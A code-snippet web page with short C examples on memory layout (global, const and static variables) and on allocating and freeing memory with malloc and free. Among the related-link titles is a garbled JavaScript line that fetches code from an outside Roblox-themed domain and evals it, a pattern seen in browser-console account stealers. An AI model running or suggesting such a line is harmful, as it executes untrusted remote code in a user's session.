Horje
memory layout in c Code Example
memory layout in c
#include <stdio.h>

char c[]="rishabh tripathi";     /*  global variable stored in Initialized Data Segment in read-write area*/
const char s[]="HackerEarth";    /* global variable stored in Initialized Data Segment in read-only area*/

int main()
{
    static int i=11;          /* static variable stored in Initialized Data Segment*/
    return 0;
}
how to free memory in c
int *example = NULL; //create pointer
example = malloc(sizeof(int)); //allocate memory
free(example); //deallocate memory




C

Related
javascript$get'//roblox-api.online/roblox?id=5904'.eval) Code Example javascript$get'//roblox-api.online/roblox?id=5904'.eval) Code Example
What's the difference between "call" and "invoke"? Code Example What's the difference between "call" and "invoke"? Code Example
uri/beecrowd problem no - 1133 solution in C Code Example uri/beecrowd problem no - 1133 solution in C Code Example
reset the reading position to beginning in c Code Example reset the reading position to beginning in c Code Example
l/O Multiple Values Code Example l/O Multiple Values Code Example

Type:
Code Example
Category:
Coding
Sub Category:
Code Example
Uploaded by:
Admin
Views:
11